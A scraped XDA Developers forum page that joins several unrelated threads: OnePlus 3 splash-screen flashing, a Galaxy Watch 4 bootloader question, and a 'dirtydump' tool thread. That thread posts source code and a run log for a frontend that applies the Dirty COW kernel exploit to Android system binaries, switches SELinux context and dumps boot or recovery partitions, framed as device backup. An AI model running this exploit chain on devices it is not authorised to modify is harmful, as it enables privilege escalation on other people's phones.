The logo.bin you supply isn't ever changed by the program, it is just modified on your computer, then reinstalled on the phone. Unless you are talking about acquiring the logo.bin in the first place? In that case check out this guide. The partition that you'll be trying to get is the "splash" partition, and that is your "logo.bin":good:
Click to expand...
Click to collapse
Does this mean we could potentially port this over to the OP3 and retain the smooth/flickerless transition from the splash screen to the bootanimation? http://forum.xda-developers.com/moto-e-2015/development/mod-nexus-6p-logo-bin-bootanimation-t3262923
kentexcitebot said:
Does this mean we could potentially port this over to the OP3 and retain the smooth/flickerless transition from the splash screen to the bootanimation? http://forum.xda-developers.com/moto-e-2015/development/mod-nexus-6p-logo-bin-bootanimation-t3262923
Click to expand...
Click to collapse
If you wanted to use this logo injector to put a Google splash in your OP3 logo.bin so it matches a Google boot animation then I don't see why not! No porting needed as such, just extract the logo from the Nexus logo.bin, make it 1080x1920 and have at it!
Tapatalked that shiznit.
I cant flash my logo.bin.... "fastboot flash logo logo.bin" doesnt work error:
failed (remote: partition label doesn`t exist )
Bootloader is unlocked and device is decrypted.
I can flash the logo.bin via twrp...
Can someone please help?
matze19999 said:
I cant flash my logo.bin.... "fastboot flash logo logo.bin" doesnt work error:
failed (remote: partition label doesn`t exist )
Bootloader is unlocked and device is decrypted.
I can flash the logo.bin via twrp...
Can someone please help?
Click to expand...
Click to collapse
try capital letter? LOGO
dlhxr said:
try capital letter? LOGO
Click to expand...
Click to collapse
Thanks bro, now it works!!
I love this program, thanks bro!
Splash screen for FreedomOS users.
With white "FreedomOS" text: https://drive.google.com/file/d/0B-0rLZ5HEnOQdW9KOUw4LWJ2cGM/view?usp=sharing
Thanks @makers_mark for this tool !
I have compiled a linux version, see here
https://gitlab.com/Nevax/FreedomOS/blob/master/build/tools/op3injector
Flashed FreedomOS which came with a splash screen with no warning while flashing, could someone provide me the stock logo.bin file? Thanks in advance.
Thanks a lot for your work!! Will flashing this remove this Bootloader unlock warning??
arvindgr said:
Thanks a lot for your work!! Will flashing this remove this Bootloader unlock warning??
Click to expand...
Click to collapse
nope
Got "logo.bin could not be opened" error when using op3inject -i logo.bin -d. Can someone help me out?
R3Lax1 said:
Flashed FreedomOS which came with a splash screen with no warning while flashing, could someone provide me the stock logo.bin file? Thanks in advance.
Click to expand...
Click to collapse
Me too, want to go away from the freedom OS splash screen
Edit:
Found a flashable zip at freedom OS FAQs
@makers_mark is there any way to make -j compatible with directories? I have built this binary for android to work with my app and I already managed to add support for custom output directories but -j does not support directory names at all!
While this: "LogoInjector -i files/LOGO.bin -j 1-logo.png 4-fastboot.png" works fine, this: "LogoInjector -i files/LOGO.bin -j files/1-logo.png files/4-fastboot.png" does not... it throws an error saying: "files/1-logo.png is not in the logo bin" because it's actually looking for the string "files/1-logo.png" in the logo.bin and not "1-logo.png".
I tried fixing it but was unable to do so

[TOOL-TESTING] dirtydump (a way to dump boot or recovery for every un-rooted device)

Hi,
A little tool or frontend that I've made and share to the community.
Intro
If you are like me :
Searching a way to backup your device, try some tools like SP Flash Tool, or MTK Droid Tools (for generating a Scatter File).
I have found a lot of thread, but I've allways got a dead end or a risk to brick the device (Never take a risk to brick your device if no stock rom available or backup).
A few days ago, i've found this thread : https://forum.xda-developers.com/v20/development/h918-recowvery-unlock-v20-root-shell-t3490594
It's not for my device, it's maybe not for your device, but help a lot to do our need. This exploit work for everyone and what to do the little tools below.
What's the change ?
Instead of that does jcadduono (a big thanks to him), via applypatch, it don't patch the recovery partition to run an Android in Permissive mode, my applypatch only open and read the boot or recovery partition and display all data to logging (binary converted to hex value).
Yes, I know, logging is not for that, it's realy hard-core, but it's the only way working. I've tried with socket, but SELinux in Enforced mode don't allow this.
You can see my recowvery-applypatch.c below :
Code:
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <fcntl.h>
#include <sys/stat.h>
#define APP_NAME "recowvery"
#define HOST_NAME "applypatch"
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, APP_NAME, __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { __android_log_print(ANDROID_LOG_ERROR, APP_NAME, __VA_ARGS__); fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#else
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#endif
#define SEP LOGV("------------")
#include "bootimg.h"
/* Time delay in microsecond for next loop (1000 = 1ms)
* 250 is good for every PC
* (you can try with 0 to boost the process, but you can have an <unexpected EOF>)
*/
#define DELAY_T 250
void delay(long t)
{
if (t == 0)
return;
long timens = t * 1000;
nanosleep((const struct timespec[]){{0, timens}}, NULL);
}
/*
* Search in *str the word *word.
* &rslt => Result, a sort of substr version of *str from 0 to the last char of the searched *word if found.
* &len => Length of &rslt.
*
* Return 0 if found or -1 if not found.
* (A substr like)
*/
int findStr(char *str, char *word, char** rslt, int* len)
{
int i = 0;
int j = 0;
int allmatch = 0;
char *temp;
*len = 0;
for (i = 0; i < (int)strlen(str); i++)
{
if (str[i] == word[0])
{
allmatch = 0;
for (j = 0; j < (int)strlen(word); j++)
{
if (str[i + j] != word[j])
{
allmatch = 1;
break;
}
}
if (allmatch == 0)
{
*len = i + strlen(word);
break;
}
}
}
if (*len != 0)
{
temp = malloc(*len);
for (i = 0; i < *len; i++)
temp[i] = str[i];
*rslt = temp;
return 0;
}
return -1;
}
/*
* run "mount" and find "/by-name/" from result.
* if matched, fill path var
* return 0 if success else -1
*/
int getBlockDevice(char** path)
{
FILE* cmd;
char br[512];
char* search = "/by-name/";
char* tmp;
int slength = 0;
cmd = popen("mount 2>&1", "r");
if (cmd)
{
/* Read result and try to find the first corresponding mount point */
while(fgets(br, sizeof br, cmd) != NULL)
{
/* If found, log the result */
if (findStr(br, search, &tmp, &slength) != -1)
{
/* Append "boot" (your can replace this by "recovery", "system") at the end */
sprintf(*path, "%srecovery", tmp);
break;
}
}
fclose(cmd);
}
else
{
LOGE("ERROR Getting filesystem mountpoint");
}
if (slength > 0)
return 0;
else
return -1;
}
int main(int argc, char **argv)
{
int ret = 0;
int i = 0;
LOGV("Welcome to %s! (%s)", APP_NAME, HOST_NAME);
char *blockDev = malloc(256);
if (getBlockDevice(&blockDev) == -1)
{
LOGE("ERROR : Could not find FileSystem mount point.");
ret = errno;
goto oops;
}
else
{
LOGV("BLOCK_DEVICE : %s", blockDev);
SEP;
}
/*
* Sometimes <applypatch> run before <dirtycow> finish its process that cause our device not ready to start <adb logcat -s recowvery>
* and we have to wait more than 3min...
* A little sleep of 30 sec ensure that our device is ready.
*/
LOGV("The process start in 30s");
sleep(30);
byte rb[32];
char *content = malloc(256);
FILE *fp;
size_t nread;
fp = fopen(blockDev, "r");
if (fp) {
LOGV("*** DUMP START ***");
while ((nread = fread(rb, 1, sizeof rb, fp)) > 0)
{
sprintf(content, "HEXDUMP = [");
for (i = 0; i < (int)nread; i++)
{
if (i == 0)
sprintf(content, "%s%.2x", content, rb[i]);
else
sprintf(content, "%s,%.2x", content, rb[i]);
}
sprintf(content, "%s];", content);
LOGV("%s", content);
/* sleep to prevent any unexpected EOF with with pipe stream */
delay(DELAY_T);
}
if (ferror(fp)) {
ret = errno;
LOGE("*** DUMP ERROR ***");
LOGE("Error while reading the file...");
}
LOGV("*** DUMP END ***");
fclose(fp);
}
else
{
LOGV("Can't read the file...");
ret = errno;
goto oops;
}
return 0;
oops:
LOGE("*** DUMP ERROR ***");
LOGE("Error %d: %s", ret, strerror(ret));
LOGE("Exiting...");
return ret;
}
Don't laugh please, I am very new in C
Ok, but about the tool ?
The tool is a frontend and easy to use, it copy exploit files for you, run exploit, read logging from adb and do the revert of applypatch (Convert hex to binary and write them to the image file) and finaly reboot your device when it's finish.
An example here :
Code:
~/Documents/dirtydump/bin/Debug$ ./dirtydump boot
***************
**** Init *****
***************
adb push ./bin/dirtycow /data/local/tmp
159 KB/s (9984 bytes in 0.061s)
adb push ./bin/recowvery-applypatch_boot /data/local/tmp
234 KB/s (10200 bytes in 0.042s)
adb push ./bin/recowvery-applypatch_recovery /data/local/tmp
238 KB/s (10200 bytes in 0.041s)
adb push ./bin/recowvery-app_process64 /data/local/tmp
240 KB/s (10200 bytes in 0.041s)
adb push ./bin/recowvery-app_process32 /data/local/tmp
411 KB/s (17992 bytes in 0.042s)
adb shell chmod 0777 /data/local/tmp/dirtycow
adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_boot
adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_recovery
adb shell chmod 0777 /data/local/tmp/recowvery-app_process64
adb shell chmod 0777 /data/local/tmp/recowvery-app_process32
* Android x64 version detected.
**********************
**** Run Exploit *****
**********************
adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_boot
warning: new file size (10200) and file old size (74712) differ
size 74712
[*] mmap 0x7faa6a7000
[*] exploit (patch)
[*] currently 0x7faa6a7000=10102464c457f
[*] madvise = 0x7faa6a7000 74712
[*] madvise = 0 1048576
[*] /proc/self/mem 1031798784 1048576
[*] exploited 0x7faa6a7000=10102464c457f
adb shell /data/local/tmp/dirtycow /system/bin/app_process64 /data/local/tmp/recowvery-app_process64
warning: new file size (10200) and file old size (22456) differ
size 22456
[*] mmap 0x7f8f303000
[*] exploit (patch)
[*] currently 0x7f8f303000=10102464c457f
[*] madvise = 0x7f8f303000 22456
[*] madvise = 0 1048576
[*] /proc/self/mem 2071986176 1048576
[*] exploited 0x7f8f303000=10102464c457f
*********************************
**** adb logcat -s recowvery ****
*********************************
--------- beginning of main
--------- beginning of system
--------- beginning of crash
01-24 15:40:37.206 5266 5266 I recowvery: Welcome to recowvery! (app_process64)
01-24 15:40:37.206 5266 5266 I recowvery: ------------
01-24 15:40:37.206 5266 5266 I recowvery: Current selinux context: u:r:zygote:s0
01-24 15:40:37.206 5266 5266 I recowvery: Set context to 'u:r:system_server:s0'
01-24 15:40:37.206 5266 5266 I recowvery: Current security context: u:r:system_server:s0
01-24 15:40:37.206 5266 5266 I recowvery: Setting property 'ctl.start' to 'flash_recovery'
01-24 15:40:37.211 5266 5266 I recowvery: ------------
01-24 15:40:37.211 5266 5266 I recowvery: Recovery flash script should have started!
01-24 15:40:37.211 5266 5266 I recowvery: Run on your PC or device to see progress: adb logcat -s recowvery
01-24 15:40:37.211 5266 5266 I recowvery: Waiting 3 minutes to try again (in case it didn't start or you forgot to dirtycow applypatch first)...
01-24 15:40:37.242 5269 5269 I recowvery: Welcome to recowvery! (applypatch)
01-24 15:40:37.272 5269 5269 I recowvery: BLOCK_DEVICE : /dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/boot
01-24 15:40:37.272 5269 5269 I recowvery: ------------
01-24 15:40:37.272 5269 5269 I recowvery: The process start in 30s
Start writing to file...
Block read : 524288 (Size : 16777216)
Finish
Image file saved here :
./boot.img
Rebooting your device...
************************
**** Reboot Device *****
************************
How to use ?
Extract all files from archive attached below in a directory of our choice.
./dirtydump boot : dump boot partition and store it to ./boot.img
./dirtydump recovery : dump recovery partition and store it to ./recovery.img
When all done, you have all to make your Custom Recovery for your device.
Requirements
<dirtycow> capable device.
Working adb (adb devices to check)
Linux distribution.
Source code
Code:
#include <iostream>
#include <stdio.h>
#include <regex>
using namespace std;
#define BOOT 0
#define RECOVERY 1
#define ANDROID_64 "64"
#define ANDROID_32 "32"
#ifdef __linux__
#define DIRECTORY_SEPARATOR "/"
#elif __APPLE__
#define DIRECTORY_SEPARATOR "/"
#else
#define DIRECTORY_SEPARATOR "\\"
#endif
typedef unsigned char byte;
static string appDirectory;
static string arch;
static FILE *fsout;
static bool startwrite = false;
static int ncrash = 0;
static int nBlock = 0;
static long currentSize = 0;
// Shorter regex is possible, but I prefer like that.
static regex rs("^.+I recowvery: (\\*\\*\\* DUMP START \\*\\*\\*)\\s+"); // Used to start writting binary file
static regex rl("^.+I recowvery: HEXDUMP = \\[([^\\]]+)\\];\\s+"); // Used to match all data block, and populate < datalist >
static regex rf("^.+I recowvery: (\\*\\*\\* DUMP END \\*\\*\\*)\\s+"); // Used to end writting, and exit infinit loop
static regex re("^.+I recowvery: (\\*\\*\\* DUMP ERROR \\*\\*\\*)\\s+"); // Used to intercept error from < recowvery-applypatch >
static regex radbe("^error:(.+)\\s+"); // ADB cmd error
static regex rarch("^.+(aarch64).*\\s+"); // Get arch from <uname -a>
/**
* Run command
* return : 0 if success else -1 if error
**/
int runcmd(string cmd)
{
char rslt[256];
int cmdv = 0;
FILE *fc = popen(cmd.c_str(), "r");
/* Redirect stderr to stdout */
cmd.append(" 2>&1");
// To remove the \n or \r\n at the end.
regex rcmdline("^(.+)\\s+");
if (fc)
{
while (fgets(rslt, sizeof rslt, fc) != NULL)
{
if (regex_match(string(rslt), rcmdline))
cout << regex_replace(string(rslt), rcmdline, "$1") << endl;
// If error matched, return -1
if (regex_match(rslt, radbe))
{
cmdv = -1;
break;
}
}
cout << endl;
fclose(fc);
}
else
{
cerr << "Error running '" << string(cmd) << "'" << endl;
return -1;
}
return cmdv;
}
/**
* Used to split string
* s : string to split (in)
* delim : used char for split (in)
* elems : string array result (out)
**/
void split(const string &s, char delim, vector<string> &elems) {
stringstream ss;
ss.str(s);
string item;
while (getline(ss, item, delim)) {
elems.push_back(item);
}
}
/**
* Used to split string
* s : string to split (in)
* delim : char delimeter (in)
* return : vector string
**/
vector<string> split(const string &s, char delim) {
vector<string> elems;
split(s, delim, elems);
return elems;
}
/** Convert hex string to byte array **/
void string_to_bytearray(std::string str, unsigned char* &array, int& size)
{
int length = str.length();
// make sure the input string has an even digit numbers
if(length%2 == 1)
{
str = "0" + str;
length++;
}
// allocate memory for the output array
array = new unsigned char[length/2];
size = length/2;
std::stringstream sstr(str);
for(int i=0; i < size; i++)
{
char ch1, ch2;
sstr >> ch1 >> ch2;
int dig1, dig2;
if(isdigit(ch1)) dig1 = ch1 - '0';
else if(ch1>='A' && ch1<='F') dig1 = ch1 - 'A' + 10;
else if(ch1>='a' && ch1<='f') dig1 = ch1 - 'a' + 10;
if(isdigit(ch2)) dig2 = ch2 - '0';
else if(ch2>='A' && ch2<='F') dig2 = ch2 - 'A' + 10;
else if(ch2>='a' && ch2<='f') dig2 = ch2 - 'a' + 10;
array[i] = dig1*16 + dig2;
}
}
/**
* Get architecture type
* Run <adb shell uname -a> and find the word : aarch64
* If found return <ANDROID_64> else <ANDROID_32>
**/
string getArchType()
{
char rslt[256];
string val;
FILE *fc = popen("adb shell uname -a", "r");
// To remove the \n or \r\n at the end.
if (fc)
{
while (fgets(rslt, sizeof rslt, fc) != NULL)
{
if (regex_match(string(rslt), rarch))
{
cout << "* Android x64 version detected." << endl;
val = string(ANDROID_64);
}
else
{
cout << "* Android x32 version detected." << endl;
val = string(ANDROID_32);
}
}
cout << endl;
fclose(fc);
}
else
{
cerr << "Error running 'adb shell uname -a'" << endl;
}
return val;
}
/**
* Display help
**/
void help()
{
cout << "dirtydump boot | recovery" << endl;
cout << "Usage :" << endl;
cout << "\tdirtydump boot : Dump device boot partition and save it to boot.img." << endl;
cout << "\tdirtydump recovery : Dump device recovery partition and save it to recovery.img." << endl << endl;
cout << "Information :" << endl;
cout << "\tThis app use the same exploit explained here : " << endl;
cout << "\thttps://github.com/jcadduono/android_external_dirtycow" << endl;
cout << "\tThe only difference is by the <applypatch>, instead of patching," << endl;
cout << "\tit read your boot / recovery partition." << endl;
cout << "\tConvert all data to hex value, and display it." << endl;
cout << "\tDuring the process, the app read all data through" <<endl;
cout << "\t<adb logcat -s recowvery> and do the reverse," << endl;
cout << "\tconvert all hex value to binary, and write it to a file." << endl;
cout << "\tBecause your device is like crashing, this app reboot" << endl;
cout << "\tautomaticaly when the process is finished." << endl;
cout << endl;
}
/**
* Initialize process.
* Push required files to your device and apply a chmod to them and exit.
**/
int init()
{
cout << "***************" << endl;
cout << "**** Init *****" << endl;
cout << "***************" << endl << endl;
string files[] = {"dirtycow",
"recowvery-applypatch_boot",
"recowvery-applypatch_recovery",
"recowvery-app_process64",
"recowvery-app_process32"};
string cmdlist[] = {"adb shell chmod 0777 /data/local/tmp/dirtycow",
"adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_boot",
"adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_recovery",
"adb shell chmod 0777 /data/local/tmp/recowvery-app_process64",
"adb shell chmod 0777 /data/local/tmp/recowvery-app_process32"};
char cmd[128];
/* Push files to the device */
for(auto s : files)
{
sprintf(cmd, "adb push %s%sbin%s%s /data/local/tmp", appDirectory.c_str(), DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, s.c_str());
cout << string(cmd) << endl;
if (runcmd(cmd) != 0)
return -1;
}
/* Apply chmod to the pushed files */
for(auto s : cmdlist)
{
cout << string(s) << endl;
if (runcmd(s) != 0)
return -1;
}
arch = getArchType();
if (arch.empty())
return -1;
return 0;
}
/**
* Apply exploit to applypatch (for boot or process) and app_process64
**/
int runExploit(int v)
{
cout << "**********************" << endl;
cout << "**** Run Exploit *****" << endl;
cout << "**********************" << endl << endl;
string cmdlist[] = {
"", // For applypatch
"" // For app_process
};
if (v == BOOT)
cmdlist[0].append("adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_boot");
else if (v == RECOVERY)
cmdlist[0].append("adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_recovery");
else
return -1;
if (arch == ANDROID_64)
cmdlist[1] = "adb shell /data/local/tmp/dirtycow /system/bin/app_process64 /data/local/tmp/recowvery-app_process64";
else
cmdlist[1] = "adb shell /data/local/tmp/dirtycow /system/bin/app_process32 /data/local/tmp/recowvery-app_process32";
for(auto s : cmdlist)
{
cout << s << endl;
if (runcmd(s) != 0)
return -1;
}
return 0;
}
/**
* reboot device from adb
**/
int rebootDevice()
{
cout << "************************" << endl;
cout << "**** Reboot Device *****" << endl;
cout << "************************" << endl << endl;
return runcmd(string("adb reboot"));
}
/**
* Function that do the stuff
* If a line contain *** DUMP START *** it start to get all hex value in HEXDUMP = [a1,e2,b4,ect.] and convert to binary before writing to output file.
* All other line are :
* <*** DUMP ERROR ***> : Error during the process, or your device is disconnected, no more battery...
* <*** DUMP END ***> : Dumping is end / end of process.
* <Other lines> : Displayed
**/
int displayLogAndConvertData(string line)
{
/**
* If an unexpected EOF from recowvery-applypatch or if no <pipe>...
* We can't receive a null string, so break the loop, close fsout, and exit the program.
**/
if (line.empty())
{
cout << string("* < null > received !") << endl;
cout << string("Try again...") << endl;
return -1;
}
/**
* *** DUMP START ***
* set startwrite = true to write parsed data to fsout
**/
if (regex_match(line, rs))
{
startwrite = true;
cout << "Start writing to file..." << endl;
}
/**
* Parse all string received if match
* Note :
* It's possible to have matched string before intercept DUMP START,
* If we convert now, it's a good idea to have a broken output file.
**/
if (startwrite && regex_match(line, rl))
{
string s = regex_replace(line, rl, "$1");
vector<string> data = split(s, ',');
for (int c = 0; c < (int)data.size(); c++)
{
try
{
byte *b = NULL;
int sb;
string_to_bytearray(data[c], b, sb);
fwrite(b, 1, sb, fsout);
}
catch (const exception &ex)
{
cout << endl;
cout << string("** Exception **") << endl;
cout << string(" - When convert : ") << data[c] << endl;
cout << string(" - Message : ") << ex.what() << endl;
}
}
nBlock++;
currentSize = nBlock * 32;
cout << "\r";
cout << "Block read : " << nBlock << " (Size : " << currentSize << ")";
}
/**
* Display the other lines (for debuging, logging...)
**/
else if (!regex_match(line, rl) && (!regex_match(line, rf) && !startwrite) && line.length() > 1)
{
cout << line;
}
/**
* *** DUMP END ***
* Flush and close fsout, inform the user, and break the loop.
**/
if (startwrite && regex_match(line, rf))
{
cout << endl << "Finish" << endl;
startwrite = false;
return 1;
}
/**
* *** DUMP ERROR ***
* An error intercepted from ADB, close fsout, set start to false.
* < applypatch > will restart every 3 min.
* We break the loop after 3 errors.
**/
if (regex_match(line, re))
{
cout << std::string("* Error received from ADB *") << std::endl;
startwrite = false;
if (ncrash == 3)
{
cout << std::string("* Too many tries, please check your < recowvery-applypatch.c > and try again.") << std::endl;
return -1;
}
cout << std::string("* Be patient, recowvery-applypatch will restart in a few minutes.") << std::endl;
ncrash++;
}
return 0;
}
/**
* run <adb logcat -s recowvery> and send line by line to <displayLogAndConvertData> function
**/
int readFromLogcat()
{
cout << "*********************************" << endl;
cout << "**** adb logcat -s recowvery ****" << endl;
cout << "*********************************" << endl << endl;
char buff[1024];
int prc = 0;
FILE *fc = popen("adb logcat -s recowvery", "r");
if (fc)
{
while(fgets(buff, sizeof buff, fc) != NULL)
{
prc = displayLogAndConvertData(string(buff));
// Error occuring
if (prc == -1)
{
cerr << "Error during the process !" << endl;
break;
}
// Process finished
if (prc == 1)
break;
}
/*
* When finish or an error received from adb, <startwrite> is set to false.
* If set to true, a NULL string has been received before receiving a DUMP_END or DUMP_ERROR.
* So, so we display an error.
*/
if (startwrite)
{
cerr << "Error during the process !" << endl;
prc = errno;
}
fclose(fc);
}
else
{
cerr << "Error running <adb logcat -s recowvery" << endl;
}
return prc;
}
/** main **/
int main(int argc, char** argv)
{
int ret = 0;
string filename;
if (argc == 1)
{
help();
return ret;
}
/* Fix for windows
* If run in same directory as the exe, return only the exe name without folder where it run.
* So, if DIRECTORY_SEPARATOR not found in argv_str, appDirectory = "." for linux, mac and windows
*/
string argv_str(argv[0]);
if (argv_str.find_last_of(DIRECTORY_SEPARATOR) != string::npos)
appDirectory = argv_str.substr(0, argv_str.find_last_of(DIRECTORY_SEPARATOR));
else
appDirectory = string(".");
ret = init();
if (ret != 0)
return ret;
if (string(argv[1]) == "boot")
{
ret = runExploit(BOOT);
filename = "boot.img";
}
else
{
ret = runExploit(RECOVERY);
filename = "recovery.img";
}
if (ret != 0)
return ret;
else
{
fsout = fopen(filename.c_str(), "wb");
if (!fsout)
{
cerr << "Can't open or create file : <" << string(filename) << ">" << endl;
rebootDevice();
return errno;
}
else
{
ret = readFromLogcat();
fclose(fsout);
}
cout << endl;
cout << "Image file saved here :" << endl;
cout << " " << appDirectory << string(DIRECTORY_SEPARATOR) << string(filename) << endl;
cout << endl;
}
cout << "Rebooting your device..." << endl;
ret = rebootDevice();
return ret;
}
Note :
There is only linux binary, the windows version come soon.
(I don't know why Windows don't work as expected :x)
If you are interested by the source code, I can attach it.
Tested and build from Ubuntu 16.04 (x64) / Code::Blocks & gedit.
If any bug, I will do the best to solve this.
So sorry for my english, or any misspelling :x
Hey man great work
I was in need of such a tool
I needed the recovery partition for andromax x58
Though I dont own the phone its for someone(yeah you understand it right)
And now finally ported Twrp to it
please make compatible for 32 bit device
Hi,
Normaly, it may work for 32bit device, but can't test it :/
Can you give me error log, text displayed on your terminal please ?
And if possible, what do you have when you do : "adb shell uname -a" ? (because I detect 32 or 64bits device by this)
Regards,
Vincent
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Ricky Divjakovski said:
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Click to expand...
Click to collapse
The boss Appear.What a pleasant thing it is.
China user
Ricky Divjakovski said:
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Click to expand...
Click to collapse
Hi and sorry for the time to answer...
I've added the source code at the end of the first post
The Hard Gamer said:
Hey man great work
I was in need of such a tool
I needed the recovery partition for andromax x58
Though I dont own the phone its for someone(yeah you understand it right)
And now finally ported Twrp to it
Click to expand...
Click to collapse
Hai Bro,what command you issue in linux to run ?
Thks
Hmm this is awesome except the part it doesn't work on Ubuntu 14.04 and source code need gcc-4.9 to build (not sure).
Anyway I will install Ubuntu 16.04 to make new things to LG K4 (2016) [MTK MT6735m], good job thanks for it
@Vince_02100 what compilers did you used to applypatch and app_process64?
I need to compile a version to armv7(aka 32), since my current device (the LG K4) have a x32 Android and a x64 CPU.
I'm improving your dirtydump but with limitations since I don't know much about C/C++.
Please reply or PM me, anyway I will try my best to make it x32 support
@Vince_02100
My question is, did you base the operation of your tool on the dirtycow exploit? Seems like it because of its name and reference to jcadduono.
This is actually awesome then because I have a tool very similar only it works as a shell command handler. The Greyhat Root Console essentially is it's own Terminal Interface specifically to use dirtycow for root shell commands.
I only bring that up because Stock OEM builds that are dated October 2016 or later pretty much can't utilize CVE-2016-5195. Some didn't get patched that soon but most did. The rule of thumb I've always had when working with Dirtycow is to use stock builds from September 2016. Since they are the most up to date builds still vulnerable. I don't know how many people reading this thread know that.
Here is the thread I made where @droidvoider explains how to use the Greyhat Root Console: https://forum.xda-developers.com/android/help/injecting-root-setting-selinux-stages-t3573036
The thread also details our journey into modifying the Device SEPolicy using the console in order to elevate our normal user privileges. We have the instructions to build the Console for both 32-Bit and 64-Bit Builds of Android 5.1.1 & 6.0.1
I think the source code and our thread may just give you some good insight going forward with your tool, even though The Greyhat Root Console was developed on an AT&T Galaxy Note 5. That thread is a gold mine for dirtycow information.
Thanks for your great tool and explanation @Vince_02100. I'm researching to dump boot, recovery for Onkyo DP-CMX1 to make custom TWRP. I have some stupid questions and need your help like following:
1. Tool will not break system partition and it can boot normally after dumping recovery, boot?
2. I don't have root so how can I copy dumped files: ./boot.img , ./recovery.img to /sdcard or to computer? Do I edit your code
fp = fopen(blockDev, "r"); to make it write to /sdcard/boot.img?

Question Can any help with unlock bootloader menu

When I reboot into the "secret menu I don't have the option to unlock the bootloader I bought it directly from Samsung website
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Maybe it makes sense if you give more details about your "plan"...
Because it makes at the moment no big sense without Firmware... Kernel and/or knowledge...
Only if you want kill your device.
Only my personal "feeling" about your question...
For other users... here is the """Secret""" in Video:
Firmware and Combination Firmware and FOTA Delta and CSC change and...
Looks like it could be harder since Tizen... A Stock Firmware for netOdin/Odin not available yet... B Combination Firmware not available yet C FOTA Delta File for study I have...
forum.xda-developers.com
Best Regards
adfree said:
Maybe it makes sense if you give more details about your "plan"...
Because it makes at the moment no big sense without Firmware... Kernel and/or knowledge...
Only if you want kill your device.
Only my personal "feeling" about your question...
For other users... here is the """Secret""" in Video:
Firmware and Combination Firmware and FOTA Delta and CSC change and...
Looks like it could be harder since Tizen... A Stock Firmware for netOdin/Odin not available yet... B Combination Firmware not available yet C FOTA Delta File for study I have...
forum.xda-developers.com
Best Regards
Click to expand...
Click to collapse
You don't need details about my plan To answer my question. All I'm asking is if anyone knows why I do t have the option to unlock the bootloader in the boot menu. It's an unlock galaxy watch 4 bought from Samsungs website not carrier specific. Is anyone else in the US missing this option
Its LTE = Security +1
Oh US LTE + + Security +1
It makes 0 sense if you have nothing to flash...
No Kernel nor full Firmware...
Thanx for your cooparation.
If I am wrong and you have Firmware and/or Kernel to flash...
Feel free to share your files...
Best Regards
Btw...
IMHO also other ways possible to reach this option... with ADB maybe...
Code:
/*
* Copyright (c) 2014 Samsung Electronics Co., Ltd.
* http://www.samsung.com
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/delay.h>
#include <linux/pm.h>
#include <linux/io.h>
#include <linux/gpio.h>
#ifdef CONFIG_OF
#include <linux/of.h>
#include <linux/of_gpio.h>
#include <linux/input.h>
#endif
#include <linux/sec_ext.h>
#include "./debug/sec_debug_internal.h"
#include "../battery_v2/include/sec_charging_common.h"
#include <linux/sec_batt.h>
#include <asm/cacheflush.h>
#include <asm/system_misc.h>
#include <linux/reset/exynos-reset.h>
#include <soc/samsung/exynos-pmu.h>
#include <soc/samsung/acpm_ipc_ctrl.h>
#include <linux/battery/sec_charging_common.h>
#include <linux/notifier.h>
#include <linux/string.h>
//#include <soc/samsung/exynos-sci.h>
#if defined(CONFIG_SEC_ABC)
#include <linux/sti/abc_common.h>
#endif
#if IS_ENABLED(CONFIG_SEC_PARAM)
extern unsigned int lpcharge;
#endif
extern void hard_reset_delay(void);
/* MULTICMD
* reserve 8bit | dumpsink_sel 1bit | clk_change 1bit | dumpsink 2bit | param 1bit | dram_test 1bit | cp_debugmem 2bit | debuglevel 2bit | forceupload 2bit
*/
#define FORCEUPLOAD_ON (0x5)
#define FORCEUPLOAD_OFF (0x0)
#define DEBUGLEVEL_LOW (0x4f4c)
#define DEBUGLEVEL_MID (0x494d)
#define DEBUGLEVEL_HIGH (0x4948)
#define DUMPSINK_USB (0x0)
#define DUMPSINK_BOOTDEV (0x42544456)
#define DUMPSINK_SDCARD (0x73646364)
#define DUMPSINK_SELECT (0x65254478)
#define MULTICMD_CNT_MAX 10
#define MULTICMD_LEN_MAX 50
#define MULTICMD_FORCEUPLOAD_SHIFT 0
#define MULTICMD_FORCEUPLOAD_ON (0x1)
#define MULTICMD_FORCEUPLOAD_OFF (0x2)
#define MULTICMD_DEBUGLEVEL_SHIFT (MULTICMD_FORCEUPLOAD_SHIFT + 2)
#define MULTICMD_DEBUGLEVEL_LOW (0x1)
#define MULTICMD_DEBUGLEVEL_MID (0x2)
#define MULTICMD_DEBUGLEVEL_HIGH (0x3)
#define MULTICMD_CPMEM_SHIFT (MULTICMD_DEBUGLEVEL_SHIFT + 2)
#define MULTICMD_CPMEM_ON (0x1)
#define MULTICMD_CPMEM_OFF (0x2)
